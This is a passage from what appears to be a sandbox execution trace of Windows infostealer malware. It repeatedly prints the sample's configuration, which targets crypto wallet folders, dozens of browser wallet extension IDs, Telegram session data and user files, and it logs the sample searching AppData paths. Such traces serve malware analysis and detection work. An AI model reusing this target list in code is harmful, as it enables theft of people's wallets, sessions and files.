Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3977 [0266.270] LocalAlloc (uFlags=0x40, uBytes=0x1f92) returned 0x6fc408 [0266.270] StrCpyW (in: psz1=0x6f7178, psz2="*" | out: psz1="*") returned="*" [0266.270] LocalFree (hMem=0x6fc408) returned 0x0 [0266.270] StrStrW (lpFirst="*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.270] lstrlenW (lpString="guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3977 [0266.270] LocalAlloc (uFlags=0x40, uBytes=0x1f92) returned 0x6fc408 [0266.270] StrCpyW (in: psz1=0x6f9ac0, psz2="*cache*,*IndexedDB*" | out: psz1="*cache*,*IndexedDB*") returned="*cache*,*IndexedDB*" [0266.271] LocalFree (hMem=0x6fc408) returned 0x0 [0266.271] StrToIntW (lpSrc="26") returned 26 [0266.271] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.271] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.271] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Guarda" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Guarda") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Guarda" [0266.271] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.271] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6fe410 [0266.271] StrCpyW (in: psz1=0x6fe410, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Guarda" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Guarda") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Guarda" [0266.271] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Guarda\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\guarda\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e23c4, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\Guarda", cAlternateFileName="kk")) returned 0xffffffff [0266.272] LocalFree (hMem=0x6fc408) returned 0x0 [0266.272] LocalFree (hMem=0x6bf278) returned 0x0 [0266.273] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.273] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.274] LocalFree (hMem=0x6f4830) returned 0x0 [0266.275] LocalFree (hMem=0x6f7178) returned 0x0 [0266.275] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.276] StrStrW (lpFirst="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.276] StrStrW (lpFirst="green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension 